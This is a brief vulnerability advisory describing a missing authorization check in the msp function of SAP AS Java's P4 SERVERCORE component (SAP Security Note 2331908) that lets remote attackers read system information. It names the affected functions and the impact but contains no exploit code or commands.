TITLE

SAP AS JAVA of P4 SERVERCORE Component msp Vulnerabilities in which system information is obtained

DESCRIPTION

The function msp (aka MSPRuntimeInterface) in the P4 SERVERCORE component in SAP AS JAVA allows remote attackers to obtain sensitive system information by leveraging a missing authorization check for the (1) getInformation, (2) getParameters, (3) getServiceInfo, (4) getStatistic, or (5) getClientStatistic function, aka SAP Security Note 2331908. SAP Netweaver Application Server Java is prone to an authorization-bypass vulnerability. Attackers can exploit this issue to gain unauthorized access and obtain sensitive information or elevate privileges. This may aid in further attacks.
